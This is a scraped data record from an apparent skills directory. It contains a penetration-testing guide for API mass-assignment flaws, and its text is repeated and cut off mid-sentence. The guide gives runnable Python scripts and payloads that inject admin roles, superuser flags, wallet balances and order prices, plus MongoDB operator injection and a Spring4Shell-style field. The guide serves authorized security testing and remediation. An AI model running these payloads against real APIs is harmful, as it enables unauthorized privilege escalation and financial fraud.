[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7B9D929PCC415XQFN325D2G":3,"skill-same:01M7B9D929PCC415XQFN325D2G":81},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":45,"commitSha":46,"skillDirectory":47,"forksCount":13,"repositoryHtmlUrl":48,"repositoryHomepageUrl":6,"ownerHtmlUrl":49,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":50,"install":51,"resources":64},"01M7B9D929PCC415XQFN325D2G","testing-api-for-mass-assignment-vulnerability",null,"Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying writable endpoints, adding undocumented fields to request bodies (role, isAdmin, price, balance), and checking whether the server binds them to the data model without filtering. Use when testing an API for mass assignment, parameter binding abuse, or over-posting on profile, registration, or object-creation endpoints.","vikasvardhanv\u002Fjerry_skills","vikasvardhanv","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99010657?v=4","01M7B2B0VN78W7529RQX5BR6DZ","01M7B2B0WDNTXJHRK3QNPNWRP6",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-api-for-mass-assignment-vulnerability\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-api-for-mass-assignment-vulnerability\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: testing-api-for-mass-assignment-vulnerability\ndescription: 'Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying\n  writable endpoints, adding undocumented fields to request bodies (role, isAdmin,\n  price, balance), and checking whether the server binds them to the data model without\n  filtering. Use when testing an API for mass assignment, parameter binding abuse,\n  or over-posting on profile, registration, or object-creation endpoints.\n\n  '\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- api-security\n- owasp\n- mass-assignment\n- auto-binding\n- parameter-tampering\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n- T0816\n- T0836\n---\n# Testing API for Mass Assignment Vulnerability\n\n## When to Use\n\n- Testing API endpoints that accept JSON\u002FXML request bodies for user profile updates, registration, or object creation\n- Assessing whether the API binds all client-supplied properties to the data model without an allowlist\n- Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints\n- Testing APIs built with ORMs that auto-bind request parameters to database models\n- Validating that server-side input validation restricts writeable properties per user role\n\n**Do not use** without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.\n\n## Prerequisites\n\n- Written authorization specifying target API endpoints and scope\n- Test accounts at different privilege levels\n- API documentation or OpenAPI specification to identify expected request fields\n- Burp Suite Professional for request interception and parameter injection\n- Python 3.10+ with `requests` library\n- Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior\n\n## Workflow\n\n### Step 1: Identify Writable Endpoints and Expected Parameters\n\n```python\nimport requests\nimport json\nimport copy\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\nuser_headers = {\"Authorization\": \"Bearer \u003Cuser_token>\", \"Content-Type\": \"application\u002Fjson\"}\n\n# Identify endpoints that accept write operations\nwritable_endpoints = [\n    {\"method\": \"POST\", \"path\": \"\u002Fusers\u002Fregister\", \"expected_fields\": [\"email\", \"password\", \"name\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Fusers\u002Fme\", \"expected_fields\": [\"name\", \"email\", \"avatar\"]},\n    {\"method\": \"PATCH\", \"path\": \"\u002Fusers\u002Fme\", \"expected_fields\": [\"name\", \"bio\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Forders\", \"expected_fields\": [\"items\", \"shipping_address\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Forders\u002F1001\", \"expected_fields\": [\"shipping_address\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Fproducts\", \"expected_fields\": [\"name\", \"description\", \"price\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Fcomments\", \"expected_fields\": [\"body\", \"post_id\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Fsettings\", \"expected_fields\": [\"notifications\", \"language\"]},\n]\n\n# First, get the current user state as baseline\nbaseline_user = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Baseline user state: {json.dumps(baseline_user, indent=2)}\")\n```\n\n### Step 2: Inject Privileged Fields\n\n```python\n# Fields that should never be user-writable\nPRIVILEGE_FIELDS = {\n    \"role_elevation\": {\"role\": \"admin\", \"user_role\": \"admin\", \"userRole\": \"admin\",\n                       \"account_type\": \"admin\", \"accountType\": \"admin\"},\n    \"admin_flags\": {\"is_admin\": True, \"isAdmin\": True, \"admin\": True,\n                    \"is_superuser\": True, \"isSuperuser\": True, \"superuser\": True},\n    \"permission_override\": {\"permissions\": [\"*\"], \"scopes\": [\"admin:*\"],\n                           \"groups\": [\"administrators\"], \"roles\": [\"admin\"]},\n    \"account_status\": {\"is_active\": True, \"isActive\": True, \"verified\": True,\n                       \"email_verified\": True, \"is_verified\": True, \"status\": \"active\"},\n    \"financial\": {\"balance\": 99999.99, \"credit\": 99999, \"discount\": 100,\n                  \"price\": 0.01, \"amount\": 0.01},\n    \"ownership\": {\"user_id\": 1, \"userId\": 1, \"owner_id\": 1, \"ownerId\": 1,\n                  \"created_by\": 1, \"createdBy\": 1},\n    \"internal\": {\"internal_notes\": \"test\", \"debug\": True, \"hidden\": False,\n                 \"is_deleted\": False, \"is_featured\": True, \"priority\": 0},\n    \"temporal\": {\"created_at\": \"2020-01-01\", \"updated_at\": \"2020-01-01\",\n                 \"createdAt\": \"2020-01-01\", \"updatedAt\": \"2020-01-01\"},\n}\n\ndef test_mass_assignment(endpoint_info):\n    \"\"\"Test a writable endpoint for mass assignment vulnerabilities.\"\"\"\n    method = endpoint_info[\"method\"]\n    path = endpoint_info[\"path\"]\n    expected = endpoint_info[\"expected_fields\"]\n    findings = []\n\n    # Build a valid base request\n    base_body = {}\n    for field in expected:\n        if field == \"email\":\n            base_body[field] = \"test@example.com\"\n        elif field == \"password\":\n            base_body[field] = \"SecurePass123!\"\n        elif field == \"name\":\n            base_body[field] = \"Test User\"\n        elif field == \"items\":\n            base_body[field] = [{\"product_id\": 1, \"quantity\": 1}]\n        else:\n            base_body[field] = \"test_value\"\n\n    # Test each category of privileged fields\n    for category, fields in PRIVILEGE_FIELDS.items():\n        test_body = {**base_body, **fields}\n        resp = requests.request(method, f\"{BASE_URL}{path}\",\n                              headers=user_headers, json=test_body)\n\n        if resp.status_code in (200, 201):\n            # Verify if the fields were actually set\n            resp_data = resp.json()\n            for field_name, injected_value in fields.items():\n                actual = resp_data.get(field_name)\n                if actual is not None and str(actual) == str(injected_value):\n                    findings.append({\n                        \"endpoint\": f\"{method} {path}\",\n                        \"category\": category,\n                        \"field\": field_name,\n                        \"injected_value\": injected_value,\n                        \"confirmed\": True\n                    })\n                    print(f\"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted\")\n\n    return findings\n\nall_findings = []\nfor endpoint in writable_endpoints:\n    findings = test_mass_assignment(endpoint)\n    all_findings.extend(findings)\n\nprint(f\"\\nTotal mass assignment findings: {len(all_findings)}\")\n```\n\n### Step 3: Verify Assignment Through State Change\n\n```python\ndef verify_mass_assignment(field_name, injected_value, verification_endpoint=\"\u002Fusers\u002Fme\"):\n    \"\"\"Verify that the mass-assigned field actually persists in the database.\"\"\"\n    # Re-fetch the object to confirm the field was saved\n    resp = requests.get(f\"{BASE_URL}{verification_endpoint}\", headers=user_headers)\n    if resp.status_code == 200:\n        current_state = resp.json()\n        actual_value = current_state.get(field_name)\n        if actual_value is not None:\n            match = str(actual_value) == str(injected_value)\n            print(f\"  Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}\")\n            return match\n    return False\n\n# Test role elevation via profile update\nprint(\"\\n=== Role Elevation Test ===\")\n# Step 1: Check current role\nme = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Current role: {me.get('role', 'unknown')}\")\n\n# Step 2: Attempt to set admin role\nupdate_resp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\",\n    headers=user_headers,\n    json={\"name\": me.get(\"name\", \"Test\"), \"role\": \"admin\"})\nprint(f\"Update response: {update_resp.status_code}\")\n\n# Step 3: Verify if role changed\nme_after = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Role after update: {me_after.get('role', 'unknown')}\")\nif me_after.get(\"role\") == \"admin\":\n    print(\"[CRITICAL] Mass assignment: Role elevated to admin\")\n\n# Step 4: Test admin access\nadmin_resp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\", headers=user_headers)\nif admin_resp.status_code == 200:\n    print(\"[CRITICAL] Admin access confirmed after role elevation\")\n```\n\n### Step 4: Framework-Specific Testing\n\n```python\n# Ruby on Rails \u002F Active Record style\nrails_payloads = [\n    {\"user\": {\"name\": \"Test\", \"role\": \"admin\", \"admin\": True}},  # Nested under model name\n    {\"user[name]\": \"Test\", \"user[role]\": \"admin\"},                # Form-style nested\n]\n\n# Django REST Framework style\ndjango_payloads = [\n    {\"username\": \"test\", \"is_staff\": True, \"is_superuser\": True},\n    {\"username\": \"test\", \"groups\": [1]},  # Add to admin group by ID\n]\n\n# Express.js \u002F Mongoose style\nexpress_payloads = [\n    {\"name\": \"test\", \"__v\": 0, \"_id\": \"000000000000000000000001\"},  # Override MongoDB _id\n    {\"name\": \"test\", \"$set\": {\"role\": \"admin\"}},                     # MongoDB operator injection\n]\n\n# Spring Boot \u002F JPA style\nspring_payloads = [\n    {\"name\": \"test\", \"authorities\": [{\"authority\": \"ROLE_ADMIN\"}]},\n    {\"name\": \"test\", \"class.module.classLoader\": \"\"},  # Spring4Shell style\n]\n\n# Test each framework-specific payload\nfor payload in rails_payloads + django_payloads + express_payloads + spring_payloads:\n    resp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers, json=payload)\n    if resp.status_code in (200, 201):\n        print(f\"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}\")\n```\n\n### Step 5: Order and Financial Object Mass Assignment\n\n```python\n# Test price\u002Famount manipulation in e-commerce APIs\nprint(\"\\n=== Financial Mass Assignment Tests ===\")\n\n# Test 1: Create order with manipulated price\norder_body = {\n    \"items\": [{\"product_id\": 42, \"quantity\": 1}],\n    \"shipping_address\": {\"street\": \"123 Test St\", \"city\": \"Test City\"},\n    # Injected fields\n    \"total\": 0.01,\n    \"subtotal\": 0.01,\n    \"discount_percent\": 100,\n    \"coupon_code\": \"FREEORDER\",\n    \"shipping_cost\": 0,\n    \"tax\": 0,\n}\n\nresp = requests.post(f\"{BASE_URL}\u002Forders\", headers=user_headers, json=order_body)\nif resp.status_code in (200, 201):\n    order = resp.json()\n    print(f\"Order created - Total: {order.get('total', 'N\u002FA')}, Discount: {order.get('discount_percent', 'N\u002FA')}\")\n    if float(order.get(\"total\", 999)) \u003C 1.0:\n        print(\"[CRITICAL] Price manipulation via mass assignment\")\n\n# Test 2: Modify order status\nresp = requests.patch(f\"{BASE_URL}\u002Forders\u002F1001\",\n    headers=user_headers,\n    json={\"status\": \"completed\", \"payment_status\": \"paid\", \"refund_amount\": 0})\nif resp.status_code == 200:\n    print(f\"[MASS ASSIGNMENT] Order status\u002Fpayment fields modified\")\n\n# Test 3: User balance manipulation\nresp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\u002Fwallet\",\n    headers=user_headers,\n    json={\"amount\": 10, \"balance\": 99999.99, \"currency\": \"USD\"})\nif resp.status_code == 200:\n    wallet = resp.json()\n    if float(wallet.get(\"balance\", 0)) > 10000:\n        print(\"[CRITICAL] Wallet balance manipulation via mass assignment\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Mass Assignment** | Vulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields |\n| **Auto-Binding** | Framework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured |\n| **Allowlist (Whitelist)** | Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters |\n| **Blocklist (Blacklist)** | Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist) |\n| **Object Property Level Authorization** | OWASP API3:2023 - ensuring that users can only read\u002Fwrite object properties they are authorized to access |\n| **DTO (Data Transfer Object)** | Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercept write requests and inject additional parameters using Repeater and Intruder\n- **Param Miner (Burp Extension)**: Automatically discovers hidden parameters by fuzzing request bodies and headers\n- **Arjun**: Parameter discovery tool that finds hidden HTTP parameters in API endpoints\n- **OWASP ZAP**: Active scanner with parameter injection capabilities for mass assignment detection\n- **Postman**: API testing platform for crafting requests with injected parameters and verifying responses\n\n## Common Scenarios\n\n### Scenario: SaaS User Registration Mass Assignment\n\n**Context**: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.\n\n**Approach**:\n1. Register a new user with only expected fields: `POST \u002Fapi\u002Fv1\u002Fregister {\"name\":\"Test\",\"email\":\"test@example.com\",\"password\":\"Pass123!\"}` - returns user with `role: \"user\"`\n2. Register another user with injected role: `POST \u002Fapi\u002Fv1\u002Fregister {\"name\":\"Admin\",\"email\":\"admin@example.com\",\"password\":\"Pass123!\",\"role\":\"admin\"}` - returns user with `role: \"admin\"`\n3. Confirm admin access by calling admin endpoints with the new account\n4. Test additional fields: `is_verified: true` bypasses email verification, `subscription_plan: \"enterprise\"` grants premium features\n5. Test profile update endpoint: `PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme {\"name\":\"Test\",\"balance\":99999}` - wallet balance modified\n\n**Pitfalls**:\n- Only testing obvious fields like \"role\" and missing domain-specific fields like \"subscription_plan\", \"credit_limit\", or \"verified\"\n- Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)\n- Assuming that blocklisting \"role\" prevents mass assignment when \"isAdmin\", \"is_admin\", or \"admin\" may also work\n- Not testing both creation (POST) and update (PUT\u002FPATCH) endpoints as they may have different filtering\n- Missing nested object mass assignment where fields like `user.role` or `address.verified` can be injected\n\n## Output Format\n\n```\n## Finding: Mass Assignment Enables Role Elevation via Registration API\n\n**ID**: API-MASS-001\n**Severity**: Critical (CVSS 9.8)\n**OWASP API**: API3:2023 - Broken Object Property Level Authorization\n**Affected Endpoints**:\n  - POST \u002Fapi\u002Fv1\u002Fregister\n  - PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme\n  - POST \u002Fapi\u002Fv1\u002Forders\n\n**Description**:\nThe API binds all client-supplied JSON fields directly to the database model\nwithout filtering. An attacker can include undocumented fields in registration\nand update requests to elevate their role to admin, bypass email verification,\nmodify wallet balances, and manipulate order pricing.\n\n**Proof of Concept**:\n1. Register with injected role:\n   POST \u002Fapi\u002Fv1\u002Fregister\n   {\"name\":\"Attacker\",\"email\":\"attacker@evil.com\",\"password\":\"P@ss123!\",\"role\":\"admin\"}\n   Response: {\"id\":5001,\"name\":\"Attacker\",\"role\":\"admin\",\"is_verified\":false}\n\n2. Update profile with injected balance:\n   PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme\n   {\"name\":\"Attacker\",\"balance\":99999.99}\n   Response: {\"id\":5001,\"balance\":99999.99}\n\n3. Create order with manipulated price:\n   POST \u002Fapi\u002Fv1\u002Forders\n   {\"items\":[{\"product_id\":42,\"qty\":1}],\"total\":0.01}\n   Response: {\"order_id\":8001,\"total\":0.01}\n\n**Impact**:\nAny user can gain administrative access, manipulate financial data,\nbypass security controls, and purchase products at arbitrary prices.\n\n**Remediation**:\n1. Implement DTOs\u002Finput schemas that explicitly define allowed fields per endpoint per role\n2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)\n3. Never bind request parameters directly to the data model\n4. Add integration tests that verify undocumented fields are rejected\n5. Use an allowlist approach rather than blocklist for writable fields\n```\n","# Testing API for Mass Assignment Vulnerability\n\n## When to Use\n\n- Testing API endpoints that accept JSON\u002FXML request bodies for user profile updates, registration, or object creation\n- Assessing whether the API binds all client-supplied properties to the data model without an allowlist\n- Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints\n- Testing APIs built with ORMs that auto-bind request parameters to database models\n- Validating that server-side input validation restricts writeable properties per user role\n\n**Do not use** without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.\n\n## Prerequisites\n\n- Written authorization specifying target API endpoints and scope\n- Test accounts at different privilege levels\n- API documentation or OpenAPI specification to identify expected request fields\n- Burp Suite Professional for request interception and parameter injection\n- Python 3.10+ with `requests` library\n- Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior\n\n## Workflow\n\n### Step 1: Identify Writable Endpoints and Expected Parameters\n\n```python\nimport requests\nimport json\nimport copy\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\nuser_headers = {\"Authorization\": \"Bearer \u003Cuser_token>\", \"Content-Type\": \"application\u002Fjson\"}\n\n# Identify endpoints that accept write operations\nwritable_endpoints = [\n    {\"method\": \"POST\", \"path\": \"\u002Fusers\u002Fregister\", \"expected_fields\": [\"email\", \"password\", \"name\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Fusers\u002Fme\", \"expected_fields\": [\"name\", \"email\", \"avatar\"]},\n    {\"method\": \"PATCH\", \"path\": \"\u002Fusers\u002Fme\", \"expected_fields\": [\"name\", \"bio\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Forders\", \"expected_fields\": [\"items\", \"shipping_address\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Forders\u002F1001\", \"expected_fields\": [\"shipping_address\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Fproducts\", \"expected_fields\": [\"name\", \"description\", \"price\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Fcomments\", \"expected_fields\": [\"body\", \"post_id\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Fsettings\", \"expected_fields\": [\"notifications\", \"language\"]},\n]\n\n# First, get the current user state as baseline\nbaseline_user = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Baseline user state: {json.dumps(baseline_user, indent=2)}\")\n```\n\n### Step 2: Inject Privileged Fields\n\n```python\n# Fields that should never be user-writable\nPRIVILEGE_FIELDS = {\n    \"role_elevation\": {\"role\": \"admin\", \"user_role\": \"admin\", \"userRole\": \"admin\",\n                       \"account_type\": \"admin\", \"accountType\": \"admin\"},\n    \"admin_flags\": {\"is_admin\": True, \"isAdmin\": True, \"admin\": True,\n                    \"is_superuser\": True, \"isSuperuser\": True, \"superuser\": True},\n    \"permission_override\": {\"permissions\": [\"*\"], \"scopes\": [\"admin:*\"],\n                           \"groups\": [\"administrators\"], \"roles\": [\"admin\"]},\n    \"account_status\": {\"is_active\": True, \"isActive\": True, \"verified\": True,\n                       \"email_verified\": True, \"is_verified\": True, \"status\": \"active\"},\n    \"financial\": {\"balance\": 99999.99, \"credit\": 99999, \"discount\": 100,\n                  \"price\": 0.01, \"amount\": 0.01},\n    \"ownership\": {\"user_id\": 1, \"userId\": 1, \"owner_id\": 1, \"ownerId\": 1,\n                  \"created_by\": 1, \"createdBy\": 1},\n    \"internal\": {\"internal_notes\": \"test\", \"debug\": True, \"hidden\": False,\n                 \"is_deleted\": False, \"is_featured\": True, \"priority\": 0},\n    \"temporal\": {\"created_at\": \"2020-01-01\", \"updated_at\": \"2020-01-01\",\n                 \"createdAt\": \"2020-01-01\", \"updatedAt\": \"2020-01-01\"},\n}\n\ndef test_mass_assignment(endpoint_info):\n    \"\"\"Test a writable endpoint for mass assignment vulnerabilities.\"\"\"\n    method = endpoint_info[\"method\"]\n    path = endpoint_info[\"path\"]\n    expected = endpoint_info[\"expected_fields\"]\n    findings = []\n\n    # Build a valid base request\n    base_body = {}\n    for field in expected:\n        if field == \"email\":\n            base_body[field] = \"test@example.com\"\n        elif field == \"password\":\n            base_body[field] = \"SecurePass123!\"\n        elif field == \"name\":\n            base_body[field] = \"Test User\"\n        elif field == \"items\":\n            base_body[field] = [{\"product_id\": 1, \"quantity\": 1}]\n        else:\n            base_body[field] = \"test_value\"\n\n    # Test each category of privileged fields\n    for category, fields in PRIVILEGE_FIELDS.items():\n        test_body = {**base_body, **fields}\n        resp = requests.request(method, f\"{BASE_URL}{path}\",\n                              headers=user_headers, json=test_body)\n\n        if resp.status_code in (200, 201):\n            # Verify if the fields were actually set\n            resp_data = resp.json()\n            for field_name, injected_value in fields.items():\n                actual = resp_data.get(field_name)\n                if actual is not None and str(actual) == str(injected_value):\n                    findings.append({\n                        \"endpoint\": f\"{method} {path}\",\n                        \"category\": category,\n                        \"field\": field_name,\n                        \"injected_value\": injected_value,\n                        \"confirmed\": True\n                    })\n                    print(f\"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted\")\n\n    return findings\n\nall_findings = []\nfor endpoint in writable_endpoints:\n    findings = test_mass_assignment(endpoint)\n    all_findings.extend(findings)\n\nprint(f\"\\nTotal mass assignment findings: {len(all_findings)}\")\n```\n\n### Step 3: Verify Assignment Through State Change\n\n```python\ndef verify_mass_assignment(field_name, injected_value, verification_endpoint=\"\u002Fusers\u002Fme\"):\n    \"\"\"Verify that the mass-assigned field actually persists in the database.\"\"\"\n    # Re-fetch the object to confirm the field was saved\n    resp = requests.get(f\"{BASE_URL}{verification_endpoint}\", headers=user_headers)\n    if resp.status_code == 200:\n        current_state = resp.json()\n        actual_value = current_state.get(field_name)\n        if actual_value is not None:\n            match = str(actual_value) == str(injected_value)\n            print(f\"  Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}\")\n            return match\n    return False\n\n# Test role elevation via profile update\nprint(\"\\n=== Role Elevation Test ===\")\n# Step 1: Check current role\nme = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Current role: {me.get('role', 'unknown')}\")\n\n# Step 2: Attempt to set admin role\nupdate_resp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\",\n    headers=user_headers,\n    json={\"name\": me.get(\"name\", \"Test\"), \"role\": \"admin\"})\nprint(f\"Update response: {update_resp.status_code}\")\n\n# Step 3: Verify if role changed\nme_after = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Role after update: {me_after.get('role', 'unknown')}\")\nif me_after.get(\"role\") == \"admin\":\n    print(\"[CRITICAL] Mass assignment: Role elevated to admin\")\n\n# Step 4: Test admin access\nadmin_resp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\", headers=user_headers)\nif admin_resp.status_code == 200:\n    print(\"[CRITICAL] Admin access confirmed after role elevation\")\n```\n\n### Step 4: Framework-Specific Testing\n\n```python\n# Ruby on Rails \u002F Active Record style\nrails_payloads = [\n    {\"user\": {\"name\": \"Test\", \"role\": \"admin\", \"admin\": True}},  # Nested under model name\n    {\"user[name]\": \"Test\", \"user[role]\": \"admin\"},                # Form-style nested\n]\n\n# Django REST Framework style\ndjango_payloads = [\n    {\"username\": \"test\", \"is_staff\": True, \"is_superuser\": True},\n    {\"username\": \"test\", \"groups\": [1]},  # Add to admin group by ID\n]\n\n# Express.js \u002F Mongoose style\nexpress_payloads = [\n    {\"name\": \"test\", \"__v\": 0, \"_id\": \"000000000000000000000001\"},  # Override MongoDB _id\n    {\"name\": \"test\", \"$set\": {\"role\": \"admin\"}},                     # MongoDB operator injection\n]\n\n# Spring Boot \u002F JPA style\nspring_payloads = [\n    {\"name\": \"test\", \"authorities\": [{\"authority\": \"ROLE_ADMIN\"}]},\n    {\"name\": \"test\", \"class.module.classLoader\": \"\"},  # Spring4Shell style\n]\n\n# Test each framework-specific payload\nfor payload in rails_payloads + django_payloads + express_payloads + spring_payloads:\n    resp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers, json=payload)\n    if resp.status_code in (200, 201):\n        print(f\"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}\")\n```\n\n### Step 5: Order and Financial Object Mass Assignment\n\n```python\n# Test price\u002Famount manipulation in e-commerce APIs\nprint(\"\\n=== Financial Mass Assignment Tests ===\")\n\n# Test 1: Create order with manipulated price\norder_body = {\n    \"items\": [{\"product_id\": 42, \"quantity\": 1}],\n    \"shipping_address\": {\"street\": \"123 Test St\", \"city\": \"Test City\"},\n    # Injected fields\n    \"total\": 0.01,\n    \"subtotal\": 0.01,\n    \"discount_percent\": 100,\n    \"coupon_code\": \"FREEORDER\",\n    \"shipping_cost\": 0,\n    \"tax\": 0,\n}\n\nresp = requests.post(f\"{BASE_URL}\u002Forders\", headers=user_headers, json=order_body)\nif resp.status_code in (200, 201):\n    order = resp.json()\n    print(f\"Order created - Total: {order.get('total', 'N\u002FA')}, Discount: {order.get('discount_percent', 'N\u002FA')}\")\n    if float(order.get(\"total\", 999)) \u003C 1.0:\n        print(\"[CRITICAL] Price manipulation via mass assignment\")\n\n# Test 2: Modify order status\nresp = requests.patch(f\"{BASE_URL}\u002Forders\u002F1001\",\n    headers=user_headers,\n    json={\"status\": \"completed\", \"payment_status\": \"paid\", \"refund_amount\": 0})\nif resp.status_code == 200:\n    print(f\"[MASS ASSIGNMENT] Order status\u002Fpayment fields modified\")\n\n# Test 3: User balance manipulation\nresp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\u002Fwallet\",\n    headers=user_headers,\n    json={\"amount\": 10, \"balance\": 99999.99, \"currency\": \"USD\"})\nif resp.status_code == 200:\n    wallet = resp.json()\n    if float(wallet.get(\"balance\", 0)) > 10000:\n        print(\"[CRITICAL] Wallet balance manipulation via mass assignment\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Mass Assignment** | Vulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields |\n| **Auto-Binding** | Framework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured |\n| **Allowlist (Whitelist)** | Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters |\n| **Blocklist (Blacklist)** | Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist) |\n| **Object Property Level Authorization** | OWASP API3:2023 - ensuring that users can only read\u002Fwrite object properties they are authorized to access |\n| **DTO (Data Transfer Object)** | Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercept write requests and inject additional parameters using Repeater and Intruder\n- **Param Miner (Burp Extension)**: Automatically discovers hidden parameters by fuzzing request bodies and headers\n- **Arjun**: Parameter discovery tool that finds hidden HTTP parameters in API endpoints\n- **OWASP ZAP**: Active scanner with parameter injection capabilities for mass assignment detection\n- **Postman**: API testing platform for crafting requests with injected parameters and verifying responses\n\n## Common Scenarios\n\n### Scenario: SaaS User Registration Mass Assignment\n\n**Context**: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.\n\n**Approach**:\n1. Register a new user with only expected fields: `POST \u002Fapi\u002Fv1\u002Fregister {\"name\":\"Test\",\"email\":\"test@example.com\",\"password\":\"Pass123!\"}` - returns user with `role: \"user\"`\n2. Register another user with injected role: `POST \u002Fapi\u002Fv1\u002Fregister {\"name\":\"Admin\",\"email\":\"admin@example.com\",\"password\":\"Pass123!\",\"role\":\"admin\"}` - returns user with `role: \"admin\"`\n3. Confirm admin access by calling admin endpoints with the new account\n4. Test additional fields: `is_verified: true` bypasses email verification, `subscription_plan: \"enterprise\"` grants premium features\n5. Test profile update endpoint: `PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme {\"name\":\"Test\",\"balance\":99999}` - wallet balance modified\n\n**Pitfalls**:\n- Only testing obvious fields like \"role\" and missing domain-specific fields like \"subscription_plan\", \"credit_limit\", or \"verified\"\n- Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)\n- Assuming that blocklisting \"role\" prevents mass assignment when \"isAdmin\", \"is_admin\", or \"admin\" may also work\n- Not testing both creation (POST) and update (PUT\u002FPATCH) endpoints as they may have different filtering\n- Missing nested object mass assignment where fields like `user.role` or `address.verified` can be injected\n\n## Output Format\n\n```\n## Finding: Mass Assignment Enables Role Elevation via Registration API\n\n**ID**: API-MASS-001\n**Severity**: Critical (CVSS 9.8)\n**OWASP API**: API3:2023 - Broken Object Property Level Authorization\n**Affected Endpoints**:\n  - POST \u002Fapi\u002Fv1\u002Fregister\n  - PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme\n  - POST \u002Fapi\u002Fv1\u002Forders\n\n**Description**:\nThe API binds all client-supplied JSON fields directly to the database model\nwithout filtering. An attacker can include undocumented fields in registration\nand update requests to 